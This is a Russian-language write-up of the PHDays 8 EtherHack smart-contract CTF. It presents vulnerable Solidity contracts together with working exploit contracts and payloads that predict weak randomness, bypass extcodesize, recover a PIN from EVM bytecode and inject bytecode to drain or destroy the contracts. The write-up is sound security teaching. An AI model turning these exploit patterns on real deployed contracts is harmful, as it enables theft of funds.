PHDays 8: разбор конкурса EtherHack
22.06.2018
В этом году на PHDays впервые проходил конкурс под названием EtherHack. Участники искали уязвимости в смарт-контрактах на скорость. В этой статье мы расскажем вам о заданиях конкурса и возможных способах их решения.
Azino 777
Выиграй лотерею и сорви банк!
Первые три задания были связаны с ошибками при генерации псевдослучайных чисел, о которых мы недавно рассказывали: Предсказываем случайные числа в умных контрактах Ethereum. В основе первого задания лежал генератор псевдослучайных чисел (ГПСЧ), который использовал хеш последнего блока как источник энтропии для генерации случайных чисел:
pragma solidity ^0.4.16;
contract Azino777 {
function spin(uint256 bet) public payable {
require(msg.value >= 0.01 ether);
uint256 num = rand(100);
if(num == bet) {
msg.sender.transfer(this.balance);
}
}
//Generate random number between 0 & max
uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
function rand(uint max) constant private returns (uint256 result){
uint256 factor = FACTOR * 100 / max;
uint256 lastBlockNumber = block.number - 1;
uint256 hashVal = uint256(block.blockhash(lastBlockNumber));
return uint256((uint256(hashVal) / factor)) % max;
}
function() public payable {}
}
Поскольку результат вызова функции block.blockhash(block.number-1) будет одинаковым для любой транзакции в пределах одного блока, в атаке может использоваться контракт-эксплойт с такой же функцией rand(), чтобы вызвать целевой контракт через внутреннее сообщение:
function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); }
Private Ryan
Мы добавили приватное начальное значение, которое никто никогда не вычислит.
Это задание — немного усложненный вариант предыдущего. Переменная seed, которая считается приватной, используется для смещения порядкового номера блока (block.number), так чтобы хеш блока не зависел от предыдущего блока. После каждой ставки seed перезаписывается на новое «случайное» смещени. Например, в лотерее Slotthereum именно так и было.
contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } /* ... */ }
Как и в предыдущем задании, хакеру нужно было всего лишь скопировать функцию rand() в контракт-эксплойт, но в этом случае значение приватной переменной seed нужно было получить вне блокчейна и затем отправить его в эксплойт в качестве аргумента. Для этого можно было воспользоваться методом web3.eth.getStorageAt() из библиотеки web3:
Чтение хранилища контракта вне блокчейна для получения начального значения
После получения начального значения остается только отправить его в эксплойт, практически идентичный тому, что был в первом задании:
contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } /* ... */ }
Wheel of Fortune
В этой лотерее используется хеш последующего блока. Попробуй его вычислить!
В этом задании необходимо было узнать хеш блока, номер которого сохранялся в структуре Game после того, как ставка была сделана. Затем этот хеш извлекался для генерации случайного числа после совершения следующей ставки.
Pragma solidity ^0.4.16;
contract WheelOfFortune {
Game[] public games;
struct Game {
address player;
uint id;
uint bet;
uint blockNumber;
}
function spin(uint256 _bet) public payable {
require(msg.value >= 0.01 ether);
uint gameId = games.length;
games.length++;
games[gameId].id = gameId;
games[gameId].player = msg.sender;
games[gameId].bet = _bet;
games[gameId].blockNumber = block.number;
if (gameId > 0) {
uint lastGameId = gameId - 1;
uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100);
if(num == games[lastGameId].bet) {
games[lastGameId].player.transfer(this.balance);
}
}
}
function rand(bytes32 hash, uint max) pure private returns (uint256 result){
return uint256(keccak256(hash)) % max;
}
function() public payable {}
}
В данном случае возможны два варианта решения.
- Вызвать целевой контракт дважды через контракт-эксплойт. Результат вызова функции block.blockhash(block.number) всегда будет равно нулю.
- Подождать, когда смайнится 256 блоков, и сделать вторую ставку. Хеш сохраненного порядкового номера блока будет равен нулю из-за ограничений виртуальной машины Ethereum (EVM) по количеству доступных хешей блоков.
В обоих случаях, выигрышной ставкой будет uint256(keccak256(bytes32(0))) % 100 или «47».
Call Me Maybe
Этот контракт не любит, когда его вызывают другие контракты.
Один из вариантов защиты контракта от вызова другими контрактами — использование ассемблер-инструкции EVM extcodesize, которая возвращает размер контракта по его адресу. Способ заключается в том, чтобы, используя ассемблерную вставку, применить данную инструкцию для адреса отправителя транзакции. Если результат больше нуля, то отправитель транзакции является контрактом, поскольку у обычных адресов в Ethereum нет кода. Именно такой подход и использовался в этом задании для предотвращения вызова контракта другими контрактами.
contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; }
function HereIsMyNumber() CallMeMaybe {
if(tx.origin == msg.sender) {
revert();
} else {
msg.sender.transfer(this.balance);
}
}
function() payable {}
}
Свойство транзакции tx.origin указывает на первоначальный создатель транзакции, а msg.sender — на последнего вызывающего. Если мы отправим транзакцию с обычного адреса, эти переменные будут равны, и мы в итоге получим revert(). Поэтому для решения нашей проблемы нужно было обойти проверку инструкции extcodesize, так чтобы tx.origin и msg.sender отличались. К счастью, в EVM существует одна славная особенность, которая в этом поможет:
И действительно, когда только что размещенный контракт вызывает какой-то другой контракт в конструкторе, его самого в блокчейне еще не существует, он выступает исключительно в роли кошелька. Таким образом, к новому контракту не привязан код и extcodesize будет выдавать нуль:
contract CallMeMaybeAttack {
function CallMeMaybeAttack(CallMeMaybe _target) payable {
_target.HereIsMyNumber();
}
function() payable {}
}
The Lock
Как ни странно, замок закрыт. Попробуйте подобрать пин-код через функцию unlock(bytes4 pincode). Каждая попытка разблокировки обойдется вам в 0,5 эфира.
В этом задании участникам код не выдавался — они должны были сами восстановить логику контракта по его байт-коду. Одним из вариантов было использование Radare2 — платформы, которая применяется для дизассемблирования и отладки EVM.
Для начала разместим пример задания и введем код наугад:
await contract.unlock("1337", {value: 500000000000000000}) →false
Попытка, конечно, хорошая, но безуспешная. Теперь попробуем отладить эту транзакцию.
r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"
В данном случае мы даем указание Radare2 использовать архитектуру «evm». Затем этот инструмент подключается к ноде Ethereum и извлекает трассировку этой транзакции в виртуальной машине. И теперь, наконец, мы готовы погрузиться в байт-код EVM.
Прежде всего, нужно выполнить анализ:
[0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa)
Далее дизассемблируем первые 1000 инструкций (этого должно быть достаточно для охвата всего контракта), используя команду pd 1000, и переключаемся на просмотр графа командой VV.
В байт-коде EVM, скомпилированном при помощи solc, обычно первым идет диспетчер функций. На основании первых четырех байтов данных вызова, содержащих сигнатуру функции, которая определяется как bytes4(sha3(function_name(params))), диспетчер функций решает, какую функцию вызвать. Нас интересует функция unlock(bytes4), которая соответствует 0x75a4e3a0.
Следуя за потоком исполнения при помощи клавиши s, мы доберемся до узла, который сравнивает инструкцию callvalue со значением 0x6f05b59d3b20000 или 500000000000000000, которое эквивалентно 0,5 эфира:
push8 0x6f05b59d3b20000 callvalue lt
Если предоставленного эфира достаточно, то мы попадаем в узел, который напоминает управляющую структуру:
push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi
Код помещает значение 0x4 в верх стека, производит проверку верхней границы (значение не должно превышать 0xff) и сравнивает lt с некоторым значением, которое продублировалось из четвертого элемента стека (dup4).
Пролистав до самого низа графа, мы видим, что этот четвертый элемент по сути является итератором, и эта управляющая структура является циклом, который соответствует for(var i=0; i<4; i++):
push1 0x1 add swap4
Если мы рассмотрим тело цикла, становится очевидно, что оно выполняет перебор четырех входящих байтов и производит какие-то операции с каждым из байтов. Во-первых, цикл проверяет, что энный байт больше, чем 0x30:
push1 0x30 dup3 lt iszero
а также, что это значение меньше, чем 0x39:
push1 0x39 dup3 gt iszero
что по сути является проверкой того, что данный байт находится в диапазоне от 0 до 9. Если проверка прошла успешно, то мы оказываемся в самом важном блоке кода:
Разобьем этот блок на части:
1. Третий элемент в стеке — ASCII-код энного байта пин-кода. 0x30 (код ASCII для нуля) помещается в стек и затем вычитается из кода этого байта:
push1 0x30 dup3 sub
То есть pincode[i] - 48, и мы по сути получаем цифру из кода ASCII, назовем ее d.
2. 0x4 добавляется в стек и используется в качестве экспоненты для второго элемента в стеке, d:
swap1 pop push1 0x4 dup2 exp
То есть d ** 4.
3. Извлекается пятый элемент стека и к нему прибавляется результат возведения в степень. Назовем эту сумму S:
dup5 add swap4 pop dup1
То есть S += d ** 4.
4. 0xa (код ASCII для 10) помещается в стек и используется как множитель для седьмого элемента стека (который был шестым до этого добавления). Нам неизвестно, что это, поэтому назовем этот элемент U. Затем к результату умножения добавляется d:
push1 0xa dup7 mul add swap5 pop
То есть: U = U * 10 + d или, проще говоря, это выражение восстанавливает весь пин-код как число из отдельных байтов ([0x1, 0x3, 0x3, 0x7] → 1337).
Самое сложное мы сделали, теперь перейдем к коду после цикла.
dup5 dup5 eq
Если пятый и шестой элементы в стеке равны, то поток исполнения приведет нас к инструкции sstore, которая устанавливает некий флаг в хранилище контрактов. Поскольку это единственная инструкция sstore, то по всей видимости это то, что мы искали.
Но как пройти эту проверку? Как мы уже выяснили, пятый элемент в стеке — это S, а шестой — U. Поскольку S представляет собой сумму всех цифр пин-кода, возведенных в четвертую степень, нам нужен пин-код, для которого будет выполняться это условие. В нашем случае анализ показал, что 1**4 + 3**4 + 3**4 + 7**4 не равняется 1337, и мы не добрались до выигрышной инструкции sstore.
Но теперь мы можем вычислить число, которое удовлетворяет условиям этого уравнения. Есть только три числа, которые можно записать как сумму составляющих их цифр в четвертой степени: 1634, 8208 и 9474. Любое из них может открыть замок!
Pirate Ship
Эй, салага! Пиратское судно причалило в порт. Заставь его сняться с якоря и поднять флаг с Веселым Роджером и отправляйся на поиски сокровищ.
Стандартный ход исполнения контракта включает три действия:
- Вызов функции dropAnchor() с номером блока, который должен быть более чем на 100 000 блоков больше, чем текущий. Функция динамически создает контракт, представляющий собой «якорь», который можно «поднять» при помощи selfdestruct() после указанного блока.
- Вызов функции pullAnchor(), которая инициирует selfdestruct(), если прошло достаточно времени (очень много времени!).
- Вызов функции sailAway(), которая устанавливает для blackJackIsHauled значение true, если контракта-якоря не существует.
pragma solidity ^0.4.19;
contract PirateShip {
address public anchor = 0x0;
bool public blackJackIsHauled = false;
function sailAway() public {
require(anchor != 0x0);
address a = anchor;
uint size = 0;
assembly {
size := extcodesize(a)
}
if(size > 0) {
revert(); // it is too early to sail away
}
blackJackIsHauled = true; // Yo Ho Ho!
}
function pullAnchor() public {
require(anchor != 0x0);
require(anchor.call()); // raise the anchor if the ship is ready to sail away
}
function dropAnchor(uint blockNumber) public returns(address addr) {
// the ship will be able to sail away in 100k blocks time
require(blockNumber > block.number + 100000);
// if(block.number < blockNumber) { throw; }
// suicide(msg.sender);
uint[8] memory a;
a[0] = 0x6300; // PUSH4 0x00...
a[1] = blockNumber; // ...block number (3 bytes)
a[2] = 0x43; // NUMBER
a[3] = 0x10; // LT
a[4] = 0x58; // PC
a[5] = 0x57; // JUMPI
a[6] = 0x33; // CALLER
a[7] = 0xff; // SELFDESTRUCT
uint code = assemble(a);
// init code to deploy contract: stores it in memory and returns appropriate offsets
uint[8] memory b;
b[0] = 0; // allign
b[1] = 0x6a; // PUSH11
b[2] = code; // contract
b[3] = 0x6000; // PUSH1 0
b[4] = 0x52; // MSTORE
b[5] = 0x600b; // PUSH1 11 ;; length
b[6] = 0x6015; // PUSH1 21 ;; offset
b[7] = 0xf3; // RETURN
uint initcode = assemble(b);
uint sz = getSize(initcode);
uint offset = 32 - sz;
assembly {
let solidity_free_mem_ptr := mload(0x40)
mstore(solidity_free_mem_ptr, initcode)
addr := create(0, add(solidity_free_mem_ptr, offset), sz)
}
require(addr != 0x0);
anchor = addr;
}
///////////////// HELPERS /////////////////
function assemble(uint[8] chunks) internal pure returns(uint code) {
for(uint i=chunks.length; i>0; i--) {
code ^= chunks[i-1] << 8 * getSize(code);
}
}
function getSize(uint256 chunk) internal pure returns(uint) {
bytes memory b = new bytes(32);
assembly { mstore(add(b, 32), chunk) }
for(uint32 i = 0; i< b.length; i++) {
if(b[i] != 0) {
return 32 - i;
}
}
return 0;
}
}
Уязвимость вполне очевидна: у нас есть прямая инъекция ассемблер-инструкций при создании контракта в функции dropAnchor(). Но основная сложность заключалась в том, чтобы создать полезную нагрузку, которая позволит нам пройти проверку по block.number.
В EVM можно создавать контракты, используя инструкцию create. Ее аргументами являются value, input offset и input size. value — это байт-код, который размещает сам контракт (инициализирующий код). В нашем случае инициализирующий код + код контракта — помещается в uint256 (спасибо команде GasToken за идею):
0x6a63004141414310585733ff600052600b6015f3
где байты, выделенные жирным шрифтом, являются кодом размещаемого контракта, а 414141 — место инъекции. Поскольку перед нами стоит задача избавиться от оператора throw, нужно вставить наш новый контракт и перезаписать замыкающую часть инициализирующего кода. Попробуем провести инъекцию контракта с инструкцией 0xff, что приведет к безусловному удалению контракта-якоря при помощи selfdestruct():
68 414141ff3f3f3f3f3f ;; push9 contract 60 00 ;; push1 0 52 ;; mstore 60 09 ;; push1 9 60 17 ;; push1 17 f3 ;; return
Если мы преобразуем эту последовательность байтов в uint256 (9081882833248973872855737642440582850680819) и используем ее в качестве аргумента для функции dropAnchor(), то получим следующее значение для переменной code (байт-код, выделенный жирным шрифтом — это наша полезная нагрузка):
0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff
После того как переменная code станет частью переменной initcode, мы получим следующее значение:
0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3
Теперь старшие байты 0x6300 ушли, и оставшаяся часть, содержащая исходный байт-код, отбрасывается после 0xf3 (return).
В результате создается новый контракт с измененной логикой:
41 ;; coinbase 41 ;; coinbase 41 ;; coinbase ff ;; selfdestruct 3f ;; junk 3f ;; junk 3f ;; junk 3f ;; junk 3f ;; junk
Если теперь вызвать функцию pullAnchor(), то этот контракт будет сразу же уничтожен, поскольку проверки по block.number у нас больше нет. После этого вызываем функцию sailAway() и празднуем победу!
Результаты
- Первое место и эфир в сумме, эквивалентной 1 000 долларов США: Алексей Перцев (p4lex)
- Второе место и Ledger Nano S: Алексей Карпов (Bitaps_com)
- Третье место и сувениры PHDays: Александр Власов
Все результаты: https://etherhack.positive.com/#/scoreboard
Поздравляем победителей и благодарим всех участников!
P.S. Выражаем благодарность Zeppelin за размещение в открытый доступ исходного кода платформы Ethernaut CTF.